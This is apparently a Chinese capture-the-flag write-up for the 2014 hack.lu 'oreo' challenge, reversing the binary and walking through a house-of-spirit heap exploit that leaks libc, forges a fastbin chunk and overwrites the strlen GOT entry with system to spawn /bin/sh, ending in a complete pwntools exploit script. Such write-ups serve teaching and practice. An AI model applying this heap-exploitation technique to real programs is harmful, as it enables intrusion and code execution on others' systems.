• 2014-hack-lu-oreo 堆技巧house of spirit


    常规检查

      没有开启 RELRO ,意味我们可以修改 got 表地址。

    逆向分析

    What would you like to do?
    
    1. Add new rifle
    2. Show added rifles
    3. Order selected rifles
    4. Leave a Message with your Order
    5. Show current stats
    6. Exit!
    Action: 
    
    

    Add 函数

    unsigned int add()
    {
      char *v1; // [esp+18h] [ebp-10h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      v1 = dword_804A288;
      dword_804A288 = malloc(0x38u);
      if ( dword_804A288 )
      {
        *(dword_804A288 + 13) = v1;
        printf("Rifle name: ");
        fgets(dword_804A288 + 25, 56, stdin);
        set0(dword_804A288 + 25);
        printf("Rifle description: ");
        fgets(dword_804A288, 56, stdin);
        set0(dword_804A288);
        ++dword_804A2A4;
      }
      else
      {
        puts("Something terrible happened!");
      }
      return __readgsdword(0x14u) ^ v2;
    }
    
    • dword_804A288:存储构造的块地址
    • *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
    • *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
    • *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
    • dword_804A2A4:记录 add 次数

    Show 函数

    unsigned int show()
    {
      char *i; // [esp+14h] [ebp-14h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      printf("Rifle to be ordered:
    %s
    ", "===================================");
      for ( i = dword_804A288; i; i = *(i + 13) )
      {
        printf("Name: %s
    ", i + 25);
        printf("Description: %s
    ", i);
        puts("===================================");
      }
      return __readgsdword(0x14u) ^ v2;
    }
    

      *(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 *(dword_804A288 + 13) 寻址遍历所有的块,并打印信息。

    Order 函数

    unsigned int order()
    {
      char *ptr; // ST18_4
      char *v2; // [esp+14h] [ebp-14h]
      unsigned int v3; // [esp+1Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      v2 = dword_804A288;
      if ( dword_804A2A4 )
      {
        while ( v2 )
        {
          ptr = v2;
          v2 = *(v2 + 13);
          free(ptr);
        }
        dword_804A288 = 0;
        ++dword_804A2A0;
        puts("Okay order submitted!");
      }
      else
      {
        puts("No rifles to be ordered!");
      }
      return __readgsdword(0x14u) ^ v3;
    }
    

      遍历并 free 掉所有块

    • dword_804A2A0:记录 order 的次数

    Leave 函数

    unsigned int leave()
    {
      unsigned int v0; // ST1C_4
    
      v0 = __readgsdword(0x14u);
      printf("Enter any notice you'd like to submit with your order: ");
      fgets(dword_804A2A8, 128, stdin);
      set0(dword_804A2A8);
      return __readgsdword(0x14u) ^ v0;
    }
    

      把 Message 写入 dword_804A2A8 处

    show 函数

    unsigned int show_0()
    {
      unsigned int v1; // [esp+1Ch] [ebp-Ch]
    
      v1 = __readgsdword(0x14u);
      puts("======= Status =======");
      printf("New:    %u times
    ", dword_804A2A4);
      printf("Orders: %u times
    ", dword_804A2A0);
      if ( *dword_804A2A8 )
        printf("Order Message: %s
    ", dword_804A2A8);
      puts("======================");
      return __readgsdword(0x14u) ^ v1;
    }
    

      分别打印 new 次数, order 次数和 message 内容。

    利用思路

      首先通过堆溢出泄露出 libc 的基址,然后通过 house of spirit 技术伪造 chunk 获得一个任意地址写的 chunk,然后我们把 system 地址写入 got 表,再次调用函数即可 get shell。

    利用过程

    泄露 libc 基址

    name = "A" * 27 + p32(elf.got['printf'])
    desc = 'b' * 24
    
    add(name,desc)
    show()
    r.recvuntil('Description: ')
    r.recvuntil('Description: ')
    printfAddr = u32(r.recvn(4))
    baseAddr = printAddr = libc.symbols['printf']
    systemAddr = baseAddr + libc.symbols['system']
    

      *(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节

    伪造区块到 0x804a2a0

    for i in range(0x3e):
    	add('a'* 27 + p32(0), 'a')
    
    orderMsgAddr = 0x804a2a8
    vulnName = 'C' * 27 + p32(orderMsgAddr)
    add(vulnName,'D' * 24)
    
    orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
    orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
    leave(orderMsg)
    order()
    

      我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。

    gdb-peda$ x /20xg 0x0804a2a8
    0x804a2a8:	0x000000000804a2c0	0x0000000000000000
    0x804a2b8:	0x0000000000000000	0x6161616161616161
    0x804a2c8:	0x6161616161616161	0x6161616161616161
    0x804a2d8:	0x0000000061616161	0x0000004061616161
    
    

      malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。

    覆盖 got 表为 system 拿 shell

    strlenGotAddr = p32(elf.got['strlen'])
    add('b',strlenGotAddr)
    leave(p32(systemAddr) + ';/bin/sh')
    

      这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system('/bin/sh')。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。

    exp脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('oreo')
    pdbg.local()
    r = pdbg.run('local')
    elf = ELF('./oreo')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    def add(name,desc):
    	r.sendline('1')
    	r.sendline(name)
    	r.sendline(desc)
    
    def show():
    	r.sendline('2')
    
    def order():
    	r.sendline('3')
    
    def leave(message):
    	r.sendline('4')
    	r.sendline(message)
    
    
    name = "A" * 27 + p32(elf.got['printf'])
    desc = 'b' * 24
    
    add(name,desc)
    show()
    r.recvuntil('Description: ')
    r.recvuntil('Description: ')
    printfAddr = u32(r.recvn(4))
    baseAddr = printfAddr - libc.symbols['printf']
    systemAddr = baseAddr + libc.symbols['system']
    
    for i in range(0x3e):
    	add('a'* 27 + p32(0), 'a')
    
    orderMsgAddr = 0x804a2a8
    vulnName = 'C' * 27 + p32(orderMsgAddr)
    add(vulnName,'D' * 24)
    
    orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
    orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
    leave(orderMsg)
    
    #gdb.attach(r)
    order()
    
    strlenGotAddr = p32(elf.got['strlen'])
    add('b',strlenGotAddr)
    leave(p32(systemAddr) + ';/bin/sh')
    
    #gdb.attach(r)
    
    r.interactive()
    
    

    成功 get shell

    内容来源

    [堆利用之 house of spirit](https: //zhuanlan.zhihu.com/p/61546352)

  • 相关阅读:
    时间复杂度与数据规模估计
    类型总结——数组前序和
    pat B1018——锤子剪刀布(数字替换字母思想)
    Linux下Tomcat(3):修改默认的8080端口号
    MySQL 重复数据的简单处理方式
    MySQL 排序
    MySQL DATE类型
    MySQL BETWEEN运算符介绍
    数据库简介
    在Linux下设置Kettle的定时任务
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12357237.html
Copyright © 2020-2023  润新知